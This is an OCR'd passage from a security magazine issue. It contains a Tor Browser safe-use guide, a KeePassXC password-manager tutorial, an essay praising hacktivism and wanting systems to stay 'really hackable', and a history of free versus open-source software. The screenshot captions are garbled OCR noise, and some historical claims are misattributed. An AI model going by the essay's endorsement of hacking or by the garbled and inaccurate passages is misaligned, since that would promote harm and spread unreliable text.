INFOA
| | -]

Figure 2: Security code

g o x
W lridgelil

“ o & " CNSpRLIDIPIDHCT.ONG o

Here are your bridge lines:

Figure 3: Bridge lines

Step 3: Enter the bridges copied in the following section and click the connect button.

Tor Network Settings = @ N

I Tor s censored in my country

O Select a bult-in bridge §
® Provide a bridge 1 know
Enter bridge mformation from a trusted source.
118.16.215.53:443 393857 7AAD630210C4E71975CE70D1 27E410C28A

54.232.229.184:443 ADDSDFDSACIDB6CE3BS7EF7BDS4EOCCIEICITTE
104.236.150.94:8443 A3TFET7 16CFBSSAF2COECSTB78D542D92CT DRG]

[ Tuse a proxy to connect to the Intemet &

For assistance, visit torproject.org/about/contact htmi#support

<Back = Connect Ext

Figure 4: TOR Network Settings




Aﬂ K A KA P | M. Enes Ozen « Stay Hidden on the Internet: The Onion Router

5. Things to do to use TOR safely and anonymously

The TOR Browser provides anonymity only for transactions performed in the TOR Browser window. The fact that
the application is running does not mean that other programs are using the TOR Network.

5.1. Checking the TOR Browser connection

The Test TOR Network Settings link can be clicked to ensure that the TOR scanner is installed and running properly.

- o -
vt B +
b e o=
i
Welcome to Tor Browser
/’.l m:nmmnummlmlwly
Teed far Metwers sefagy
S
Whiat Next? You Can Help!
or 8 NUT @ you need i iowss This® @ru My wilvs You Can
BrernEhoURly! You fay eed b Ty P (P Sor Mefworl L
Chmrnge some of pour irowssng A o
sty Vo vt o sdenlify B ' - Nodle »

L
T SBApng ML
D vy Msrnis 5

» Virie T Sereces o
The T Progadt i 8 L B0 heen prndd dads alned b e resasch devalapmant and

wehacaton of v aroriTaly med prvecy Lpn meny gbosd The Toe Fromct «

Figure 1: TOR Browser Homepage

If you encounter a page like the one below, we can say that the TOR browser is working properly.

Congratulations. This browser is configured to use Tor.

o P acdeess appears o be 1230 3.8 13

Figure 2: TOR network control

In addition to the TOR Project’s own control system, you can obtain connection information from https://www.
iplocation.net/ and https://www.ip2location.com/.
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5.2. Creating a New Identity

You can create a new identity at any time. In this way, TOR will create new connection nodes and will appear to be
accessing websites from a different IP address. To do this, the following steps can be followed.

Step 1: Click the @ = to open the TOR Browser menu.

| = 0 X
i Conpaluistend Thsbm. W | d
@ & s e —— 4 Pe =
Vo ety ERE Yoy girput ber thi wite o
e i CN
Tty g Tha browssr
= mﬁ}‘t{l‘i ™
[ ™)
By ST PR Y TR
rher| |

)

Congratulations. This browser is configured to use Tor,

Vour I pddress appears o be G0.30.50. 116

Prgriay ol h“?ﬁlmﬂmwwmhﬂ Yomp dre Ny Trim B0 Dfcreeie (e Syl fued
ancymoursly For mofe siloimeicn aboul he el tely S6e Al

Figure 1: Creating a new identity in the TOR Browser.

Step 2: Select New Identity from the drop-down menu.

The TOR Scanner will clear the browsing history and restart. When the browser restarts, you may see it connecting
from a different IP address.

5.3. Enabling NoScript Plug-in

The TOR Browser comes with the initially disabled NoScript plug-in. NoScript provides additional protection from
malicious websites and protects your true identity from being disclosed in the TOR Browser. Therefore, it is useful
to activate the NoScript plug-in. NoScript can be activated by following the steps below.

Step 1: Click on the @ = icon upper left of the TOR Browser.

- *
ey = ¥ e o
B @ & ¥ r | ]
I Ve s Gl bt o D
i -
il S long® § 100

Yol e now Ires 1o Beoesn the ndeemet Snomy oy

*”j Welcome to Tor Browser

Bt mb el kg

BT —-—

Figure 1: Enabling the NoScript plug-in
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Step 2: Select Forbid Scripts Globally.

You may see many sites corrupted when this setting is enabled. If the website fails to load correctly, the website can
be added to the NoScript whitelist by clicking the button shown in figure 1 and selecting “Temporarily allow all this

page”.
5.4. Enable the HTTPS Everywhere Plug-in

HTTPS Everywhere plugin is built-in in TOR Browser. This plugin allows us to browse with HTTPS protocol auto-
matically instead of HTTP when surfing the web. In this way, we can ensure that the requests we send to websites are
encrypted end-to-end and cannot be read, including output nodes.

HTTPS Everywhere can be activated by following the steps.
Step 1: Click on the ﬂ icon which is located in the upper right corner of the browser.

= = | W
it " .
® & O =

HT TS, s ik

Welcome to Tor Brows “

et B o el e g

L
o

Tiii 0 NRA EE MO ERTRARE e ITFIEFIEY By T

E a

What Mext? You Can Help!

Step 2: Check “Enable HTTPS Everywhere” and “Block all unencrypted requests” boxes. If we want to access a site
that uses HT TP again, the Block all unencrypted requests box should be unchecked.

Sources:

https://www.TORproject.org/about/overview.html.en
http://www.cs.tufts.edu/comp/116/archive/fall2016/npatel.pdf
https://boingboing.net/2016/07/01/researchers-find-over-100-spyi.html

https://en.wikipedia.org/wiki/TOR (anonymity network)

https://securityinabox.org/en/guide/ TORbrowser/windows/
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Manage Your Passwords in One
Place: KeePassXC

Key to the Empire
Passwords!

ur digital assets are very important. Our services where we store our photos, videos and similar sensitive
data, like the cave where the Forty Thieves hide their gold, are ready to open their doors: Open sesame!

You are aware that it is a poem. But the truth is no different. When it comes to our digital assets, we are

able to choose simpler passwords than the “hungry sesame hungry” password. Unfortunately, 123456
is still the most used password. Not only for 2017, but also for 2016, 2015, 2014, the most preferred password was
123456. Surprisingly, it has been on the list for many years.

So how do we choose strong passwords. Does this have a special criterion?

Even if you choose a strong password,
you will probably use the same pass-
words on different services / sites, P'-""“*'“H’}

which you can barely choose and use a

Lckegraph ] wews AT s gl secmoss [

§ VYR IS AT T STl R AP Ll RIS W )

thousand ways to keep in mind. There-

fore, if one of the services that you use
is hacked, the attackers who obtain the
password you use there will try the same

o =
Mark fuckerberg's password
was ‘dadada’. What hope do the
rest ol us have?

AANPES TITOONN

HEEET T TETE T3

T

password on other systems that you can
use / use as a password reuse attack. Yes,

CommTEEmismE-

unfortunately, this is not a rare event toeiw ()
that can happen every forty years, it's a
case in today's digital world! Facebook
CEO Mark Zukenberg's accounts were
stolen in exactly the same way. Among
the accounts that were exposed to Linkedin's hacking,

UL TELTGRAFE OIS &
ToLm

Mark had an account. In addition to using a simple password like “dadada” that can be hacked within 25 seconds,
Mark used the same password for services like Pinterest and Twitter.

At this point, some services provide users with instructions on how to select strong passwords during membership
process. There are even services that impose these password policies during password creation stage. However, at
best this causes the user to store this “strong” password in insecure ways, for example by sticking it on a monitor with
a post-it and storing it in an agenda. There are even special agendas invented for this.
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The essence of our article is KeePassXC, a multi-plat-
form application that will help us choose strong pas-
swords as well as keep them safe. In this article, we will
introduce KeePassXC and discuss the installation and
usage details.

KeePassX is a password manager that allows us to store
and manage all our passwords in one place, which we
can use on different platforms such as Windows, Linux,
MacOS X.

Password managers are great programs for different si-
tes and services that we can create different passwords
that make them accessible and stored without having to
memorize them. You only have to remember the main
password, called the master password. Once the master
password is entered, the password manager lets you ac-
cess your passwords for other services that it stores in
an encrypted format. Thanks to its convenient interfa-

AHK A KA P | Arka Kapis Password Management from One Point

ces, it makes it easy for you to take your passwords from
the password manager and enter the target site / service
with only key combinations.

You've probably come across many similar program
names like KeePassX, KeePassXC, KeePass, KeePass2.
Some of them are built on the same code, while others
only use the same database format. With this article, we
reserved a special place for KeePassXC, as it is a more
active development graph than alternatives and for
multi-platform support.

Using a password manager will attract the attention of
not only you, but also the attackers to one direction.
In his latest book, The Art of Invisibility, Kevin Mit-
nick shares the details of how he accesses the master
password by replacing the KeePassX program with his
own binary. As research has shown, commonly used
password managers can include vulnerabilities. The-
refore, when choosing the right tool, it is useful to be
meticulous.

You can download KeePassXC's installation file for
Windows, Mac or Linux operating systems at https://
keepassxc.org/download. KeePassXC runs smoothly
on Windows 7 and above, MacOS x 10.7 and above, and
most Linux distributions.

How KeePassXC Works

KeePassXC works with a database file that stores all pas-
swords. This database is stored in an encrypted format
on your computer. If your computer is stolen, the infor-
mation in this database will not be read. The mentioned
master password is used to encrypt this database. The
only task on your shoulders is to be as careful as possib-
le and to choose a strong password when creating this
master password, which is the key to the empire. Kee-
PassXC will manage all other operations. Conversely,
someone who has the master password will get all your
other passwords stored in this database.

Let's Start!

After downloading the KeePassXC file from the add-
ress given above, we run the installation file. After
the instructions are followed and the installation is
finished, we run KeePassXC application.
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We assume that you are using KeePassXC for the first time. Therefore, we will create a password database. When
the “Create new Database” button is clicked on the screen that meets us, we will see a screen asking for the name of
the password database to be saved and the path to the directory where it will be saved.
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After giving the appropriate name to our password database and selecting the directory to save it, we can click the
Save button. You can then move your password database anywhere on your HDD, or even to another PC.

After clicking the Save button, you will see a screen waiting for new inputs.
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The password field is the one in which master password is specified, which will protect the password database mentio-
ned above. You must repeat the same password in the Repeat Password box as soon as you enter the password you selec-
ted in the Password box. You can click the eye icon to the right of the password box to display the password you entered.

What is Key file?

Using a Key File with a master password will make it difficult for the person who wants to decrypt it if the password
database is compromised. You can use an existing file as a key file. For example, you can use an image-type file that
contains a photo of a cat as a key file. The most important thing to consider when choosing a key file is that it should
not be modified. If the file content changes, you will no longer be able to access your password database. Do not
forget! We said you can use any file as a key file. Along with the file change warning, it is worth remembering. Even
opening this image key file, for example using with an image viewer, may modify the file. Therefore, we recommend
you to change the name of the file that you will use as a key file and make a backup only.
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We created our password database. Now let's look at the possibilities of KeePassXC.

Organize and Group Your Passwords

KeePassXC allows you to group your passwords under Groups. With KeePassXC, you can create, delete, edit pas-
sword groups, and add subgroups to groups. To do this, you can use the Groups menu at the top of the screen or
right-click on the relevant group on the left and select from the context menu that appears.
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The Groups feature does not affect the operation of KeePassXC. It provides a visual grouping of passwords for con-
venience only.

Creating, Editing and Storing Passwords

To create a new password, or to store an existing password, select any Group from the Group menu, right-click in the
field on the right side of the screen, select Add New Entry from the drop-down menu, or select Add New Entry from
the Entries menu at the top of the screen.
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A screen as below will meet us.
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o In the Title field, you can enter a value that identifies this password for you. For example, it may be the name
of the service or website where you will use the password, such as My ProtonMail Account.

» You can enter the user name associated with this password in the Username field. If there is no user name, you
can leave this field empty.

o You must enter your password in the Password field and type the same password in the box just below it. If
you do not already have a password for this service and want to create a password using KeePassXC, you can

open the new password creation wizard by clicking the dice icon on the right.
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« You will usually use this feature when you sign up for a new service / site. Thus, you will be able to easily
create passwords in the desired format and difficulty level for these services and sites. And with the most im-
portant advantage of KeePassXC, you won't have to keep them in mind or write them down. When creating a
password, you can specify length, character types (letters, numbers, special characters) that the password will
contain. If the password created by KeePassXC does not appeal to you, you can click on the Generate button to
create another password with the criteria you specified. The generated password will be written by KeePassX
in both the password box and the password refresh box when you click the Apply button.

o When the input fields are filled with the appropriate values, you can press the OK button. When you press the
OK button, this new password will be entered into the password database. You can use File> Save Database or
Database / Save to Database to make sure that the changes are saved. If you think you made a mistake during
registration, you can close the password database and open it again. (Database -> Close Database) changes
will be deleted without saving.
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Let's Use the Password We Saved

To use the password we saved, you can right-click on the related input and click Copy User Name (CTRL + B key
combinations) or Copy Password (CTRL + C key combinations.)
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The copied values can be pasted with CTRL + V into the related space in the destination website or service.

What are Other Features?
Of course, the features of KeePassXC are not limited to those described above.
With KeePassXC;

» You can search all entries via the search box on the main screen.

o It can sort the entries by the columns of the grid on the screen.

o Using Tools> Lock Database, we can have KeePassXC ask again for the master password (and key file if spec-
ified at the beginning) to access the passwords, even it is open.

Ptk kdbx" - KeePaaadi — | 4

Weritabani  Gidiler  Komeler  View | Bmaclar | Yardm

Sal @ XL 51 Ve tebanlsnm kiitle uirl .
B Peols Olughariioug -
v G Kk A yaiar AL
v [ bEernet ini2pratonmailcom
3 Banacitk
b Epostele

« In addition, from the Security tab under the Tools-> Settings menu, we can allow KeePassXC to lock itself
after a period of inactivity, ie when no user interaction exists, and only to access the passwords again if the
master password is entered:
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KeePassXC allows you to store not only your user name and password, but also your accounts, files, pictures, etc. in
this entry. For example, coin wallets have recently been stored in KeePassXC.

No more worrying about your expired passwords. You do not have to use the same password on different services. By
setting your master password with enough difficulty, you can leave all other operations to KeePassXC.
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Balance of Good and
Bad in Cybersecurity

he struggle between good and bad has existed

in our daily life since the beginning of time and

has been expressed in stories. Such that; this
dualist approach constitutes the vast majority of epics,
tales and religious literature. While most of these ap-
proaches are based on good beating evil, some works
argue that there must be a balance between good and
bad. For example, the belief system in Star Wars, an
important symbol of popular culture, is based on this
balance. In this article, I will discuss the good, bad and
the balance between the cybersecurity world.

Before moving on, it is necessary to define the good
and the bad in cybersecurity. Good: the normal flow
of systems and institutions is not disturbed, users’ data
is not stolen and there is no such case where there is
no material and/or moral loss. Bad: theft of user infor-

mation, deterioration of the workflow of institutions,
material and/or moral loss. Of course, these opinions
may change depending on one’s worldview.

When the internet began to mature and spread in
the 2000s, the balance shifted to the side of the bad.
Because security awareness and precautions did not
develop, websites were hacked, e-mail addresses were
leaked, hackers could move easily everywhere. There-
fore, it was not possible for institutions to maintain
their online presence without any problems. When
the balance is on the bad side, we have this kind of
situation.

Under these circumstances, it was well understood
that an economy would not work on the internet and
the security budgets of the institutions increased. Nu-
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merous security software has been developed, man-
power has increased, institutions have started invest-
ing to become more secure. As a result, in the past, the
password of a computer or phone could effortlessly
be found, but today it is almost impossible. Institu-
tions protect their data against attackers, and people
don’t lose their personal accounts that easily. Howev-
er, some people or institutions can still be hacked and
their data leaked to the Internet - it can be said that
there is a balance. What is the benefit of this balance
to humanity and the security sector?

1.) Institutions will probably be safe if they invest
in security solutions and personnel. They will
maintain their presence on the Internet and
continue to operate. In this way, both compa-
nies and people in the security sector will con-
tinue to make money and other institutions will
remain safe.

2.) Hacktivism is one of the most practical ways
for citizens to know the illegal behaviours of
big companies and states. The types of things
where a citizen could not normally know nor
prove became provable thanks to leakages of
email traffic or different data. Therefore, some
actors avoid too brave actions, fearing that they
might be hacked one day.

According to these two items, it can be reiterated that
the balance between good and bad is beneficial. Be-
cause, if the balance shifts to the bad side, we would
witness a collapse of the internet as in the 2000s; and
if it shifts to good, we would witness the collapse of
the security sector and the destruction of the citizen’s
weapon hacktivism. It is not easy to foresee how this
balance will change in the future. In the article titled
“Prophecies for the next 30 years of cybersecurity”
which I wrote in the previous issues of Arka Kapi
Magazine, I have written that individual hacking will
end in the future. So in the coming period, this bal-
ance will begin to shift to good, and after a long time,

it will compress the bad to a very restricted area. Even
if institutions benefit from this, both the unemploy-
ment problem will occur in the security sector and the
hacktivism weapon that the citizens have will become
useless.

Isn’t there a way to change the course, so this balance
can not not be set in the future? This is only possible in
cooperation with future security companies. Security
companies will continue to sell products and services,
but companies such as Microsoft, Apple, and Google
will secure their operating systems and software with-
out the need for anything third-party. Therefore, or-
ganizations will not need much third-party software
and personnel to stop cyber attacks. At this point, se-
curity companies will have to unite their forces and
make moves to shift the balance to the bad side. A
hacker group may be established and may harm var-
ious institutions and convince them that they have
to use their products. In this concept, they can im-
prove balance. However, this will be an illusion. We
need systems that are really hackable like today. Or the
hacktivism will become history.

Another factor that can work to achieve cyber balance
is the western states, especially the USA. For example,
the USA continues to invest in the TOR system so that
censorship for people of China and Iran. Again, the
US will not want the security of these countries to be
perfect. Therefore, it may also give up a few waivers
and want companies like Apple, Google and Microsoft
to include security vulnerabilities in their systems.
Therefore, the balance does not shift completely to the
good side but remains in the middle. Thus, both the
security ecosystem continues to exist and hacktivism
remains.

In the future, we will see where the balance will be.
Whichever way it shifts, I hope that people’s freedom
of thought and intelligence will not be obstructed.
Working to achieve this should be a duty of citizen-
ship.
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Being Free In The

Open World

he point that is often forgotten when talking about

the software is the license of it. Software licenses
actually define the ideology, reliability, commercial use
and distribution methods of existing software. Espe-
cially when Google stopped Huawei’s Android servic-
es after Trump’s blacklisting, the following argument
is, even more, mentioned: “Isn’t Android open-source?
So, why can’t Huawei use it?” There are many different
types of licensing, but in this article, we will discuss the
concepts of FREE SOFTWARE and open-source, which
are mistaken to be the same concept.

The free software philosophy and the free software
movement that was based on it historically paved the
way for the open-source movement and played a ma-
jor role in acquiring the technological, legal, method-
ological and ideological concepts owned by the open-
source movement. However, when mentioning free
software and open-source, there is a situation where
both approaches express the same movement and fact.
So if they express the same phenomenon, why do we
use two separate concepts for the same thing? The an-
swer to this question is hidden in the nuances of close
relations between historical processes and formations.
Therefore, when comparing the two titles, we will in-
clude several concepts that have been misrepresented
in both the society and the dominant media and carry
out our comparisons and definitions through this per-
spective.

1. Hack, Hackers and Hacker Ethics

The first computer systems were built in the 1940s and
1950s mainly for military and scientific purposes. One
of the oldest research institutes for using and studying

computers is the Massachusetts Institute of Technol-
ogy (MIT). The artificial intelligence (AI) Laboratory
at MIT was founded in 1958 and became one of the
birthplaces of Computer Science and computer cul-
ture. The concept of hacking emerged in the early years
as the name given to the jokes MIT students made to
one another. In the 1970s, Tech Model Railroad Club,
a student club based at MIT, had a model rail network
managed only by electro-mechanical control systems.
The club had many students interested in electronic de-
vices. After a while, the contributions of the students in
the club activities were evaluated with the simple and
effective arrangements they made on the model rail
network with an electro-mechanical control system.
Therefore, the concept of hacking also evolved after a
while in the form of “developing successful and effec-
tive solutions” The debate on the distinction between
technical and non-technical members that would later
be experienced with the spread of computers would
give rise to the concept of Hacker.

The spread of computers can be regarded as the be-
ginning not only of the computer revolution but also
of the cultures that will arise from this revolution.
The culture of this spread can be defined as: “If any
improvement on the computer, whether hardware or
software, can fulfil its purpose and do so in the best
way possible, this is called a hack. The person who
does this earns respect from the community regardless
of age, gender, etc. and is referred to by the community
as the hacker, in other words, a title that indicates his
success™! In 1984, in his book?, Steven Levy described
the ethics concept of MIT hackers as follows:

1 Hack Kiiltiirii ve Hacktivizm: Yeni bir Siyaset Bicimi - Alternatif Bilisim (2013 5.13)

2 https://www.amazon.com/Hackers-Computer-Revolution-Steven-Levy/dp/1449388396
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1. Access to computers—and anything which
might teach you something about the way the
world works—should be unlimited and total.
Always yield to the Hands-on Imperative!

2. All information should be free.

3. Mistrust authority—promote decentraliza-
tion.

4. Hackers should be judged by their hacking,
not bogus criteria such as degrees, age, race or
position.

5. You can create art and beauty on a computer.
6. Computers can change your life for the better.

Programs were being developed on punched cards by
users, rather than by programmers as they are today.
So, computer programs were treated like any informa-
tion created by the scientific community. The software
was free for everyone to use, review and develop. In
other words, no one owned the programs on their
own, but they were the community’s common proper-
ty on the other hand.

3 https://www.gnu.org

As software production became more complex and
expensive in the 1970s, software companies ceased to
send the source codes to protect revenue streams and
prevent competitors’ access to their applications and
added many restrictions and copyright agreements. In
the early 1980s, at the AI lab at MIT, some hackers set
up a company called Symbolics to sell computers con-
taining technology developed in the lab. The hackers
who founded the company caused a major crisis when
they accepted the software on their computers to be a
commercial secret. The community and its way of life
had been destroyed and Stallman later described him-
self as “the last survivor of a dead culture”

Stallman saw an ethical problem in the growing trend
of treating software as a property. In the AT lab, there
used to be a strong spirit of cooperation and sharing,
writing the code - a way, a medium for social inter-
action. Thus restrictions in the access to code also
caused limitations on how people could help each oth-
er. In 1983, Stallman published the GNU Manifesto?
announcing his intention to develop a freely available
implementation of the Unix operating system. The
project attracted interest and Stallman started receiv-
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ing code contributions from developers. The major
components of an operating system were developed: a
system library, a shell, a C compiler, and a text editor.
However, a core component, the kernel, was still miss-
ing until Linus Torvalds began to work on the Linux
kernel in 1991.

2. The GNU manifesto and the rise of
Free Software

The free software movement is mostly the invention of
Richard Stallman. Stallman explained his motivation
in the GNU manifesto saying that licensed software
prevented the development of community-driven soft-

ware, sabotaged the effective innovation and crippling
the advancement of technology. Stallman’s intention
was not to be against capitalism nor trading, rather a
rebellion against the ethical problem posed by private
software on the society and cooperation. His main ar-
gument in The GNU Manifesto is that a useful program
should be shared with others who need it. This was just
arebellion against the ethical problem that proprietary
software created on society and cooperation. So, In
1985, Stallman built the GNU Project by founding the
Free Software Foundation (FSF), a nonprofit organiza-
tion dedicated to promoting the concept of free soft-
ware to a wider audience. He argued that because of
the copyright restrictions on computer programs, the
“amount of profit humanity gains” is reduced. Stallman
would also later develop the GNU General Public Li-
cense (GPL): a software license which guarantees the

72

AHK A KA P | Nuri Cilengir « Being Free in the Open World

rights of end-users to run, view, and share source code
freely.

According to the FSE, for a piece of software to be con-
sidered truly “free,” its license must guarantee four es-
sential freedoms to its users:

o Freedom 0: The freedom to run the program,
for any purpose

o Freedom 1: The freedom to study how the
program works, and adapt it to your needs;
access to the source code is a precondition for
this

o  Freedom 2: The freedom to redistribute copies
so you can help your neighbour

o Freedom 3: The freedom to improve the pro-
gram, and release your improvements to the
public, so that the whole community benefits;
access to the source code is a precondition for
this

Stallman had chosen the label “free software” to relate the
idea that users would be free to change and share source
code as they wished, however, the word “free” in English
means “zero cost”, which caused negative impacts on the
movement. Because of this, people surmised free soft-
ware to be free of charge. So, the Free Software Foun-
dation had to explain to clarify: “Free software’ means
software that respects users freedom and community.
Roughly, it means that the users have the freedom to run,
copy, distribute, study, change and improve the software.
Thus, “free software” is a matter of liberty, not price. To un-
derstand the concept, you should think of “free” as in “free
speech,” not as in free beer”. By the late 1990s, though,
there was a growing worry among some GNU and Linux
enthusiasts that this dual meaning would cause a large
share of users to miss the philosophy behind free soft-
ware and its advantages over proprietary code. The FSF
had also become known for its hard-line ethical stance
against proprietary software of all kinds. Some members
of the free software movement opposed this unfriendly
attitude and were actually concerned.

3. How did the open-source Movement
begin?

In 1997, Eric S. Raymond, then a free software advo-
cate and developer, wrote The Cathedral and the Ba-
zaar, a widely-cited essay which compares two differ-
ent development models used in various free software
projects. With “Cathedral’, Raymond refers to the
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development of GNU Emacs through a communi-
ty-based, top-down development model. On the other
hand with “The Bazaar,” Raymond refers to a method
in which code is developed publicly over the internet,
as in the development of the Linux kernel. In short,
Raymond argued that the “The Bazaar” model is nat-
urally more effective in finding and resolving software
bugs, as more people can see and review the source
code, and that more reliable software can be obtained
using a community-driven, bottom-up development
process. In 1998, as a partial proof of his ideas in The
Cathedral and the Bazaar, he released the source code
of the web browser Netscape Communicator (which
later gave birth to Mozilla Firefox) as open-source.
Inspired by the commercial potential that he saw in
Netscape’s open-source version, Raymond, Linus
Torvalds, Philip Zimmerman, and others sought to
rebrand the Free Software Movement by shifting the
focus away from ethical or philosophical motives.
The group chose the label “open-source” in hopes of
freely shareable software, based on collaborative work
and community-oriented development of themselves.
The Open-Source Initiative was founded by Raymond
and Bruce Perens to promote both the use of the new
term and to spread the open-source principles. Shortly
thereafter, the initiative also developed the definition
of open-source and set the principles that the license
of the software must adhere to in order to be consid-
ered open-source. You can access these definitions at
https://opensource.org/docs/osd.

Conclusion: A political approach or a
development model?

For most people, the difference between free software
and open-source software can be ignored, yet the phi-
losophy of free software goes beyond the freedom and
needs of a programmer. The main focus in free software
is actually a free society, so it is a social movement. On
the other hand, the open-source movement aims for
freedom for some individuals like developers in a man-
ner that is out of this context. The motivation of the
open-source movement is to provide a development
model for a better software development and to pre-
vent property owners from gaining unfair advantage.
Therefore, there is a rational difference between call-
ing software “free” or “open-source” Hoping that the
motivations of both movements and what they mean
are understood, let’s see what makes a software free
or open-source. The license under which a software is
distributed depends on whether it is approved by the

Open-Source Initiative, the Free Software Foundation,
or both. There is a lot of overlap between which licens-
es are approved by which organization, but there are a
few differences. If you're interested in learning more
about which software license is right for your projects,
the Free Software Foundations License List provides
detailed descriptions of both free and non-free licenses.

In short, let’s talk about the main point of this article,
“If Android is open-source, why can’t Huawei not use
it?”. When we look at the historical process, the situa-
tion is pretty obvious, but some points are worth men-
tioning. Yes, Android is open-source, and it uses the
Linux kernel, but it’s definitely not free. After Google
purchased Android in 2005, Google filled it with pro-
prietary software and services as required by compa-
ny policies. Google also incorporated developers and
companies to offer applications and services written by
third parties through its own services as proprietary
software. Therefore, Android has been monopolized
by Google. What the future holds for Huawei, Google,
the USA, China and non-emancipatory countries is
unknown - yet security, confidentiality, the social phi-
losophy that lies beneath and free software being the
first choice in such cases show that the importance of
free software increases day by day.

Note: In this article, only Free Software and Open-
Source Movement have been mentioned. The prop-
erty/copyright of software are not discussed because
both movements provide arguments against proprie-
tary software well enough. Therefore, at the end of the
article, some reading suggestions are written for those
who want to go into more detail about both the rela-
tionship between free software and open-source and
their views on property, license and patent issues.

Recommended Reading List:

o Introduction to Free Software, Free Society:
The Selected Essays of Richard M. Stallman

o Why open-source misses the point of Free
Software

o Homesteading the Noosphere - Eric S. Ray-
mond

« Handbook of Research on open-source Soft-
ware: Technological, Economic, and Social
Perspectives

o The Difference Between Free and Open-
Source Software
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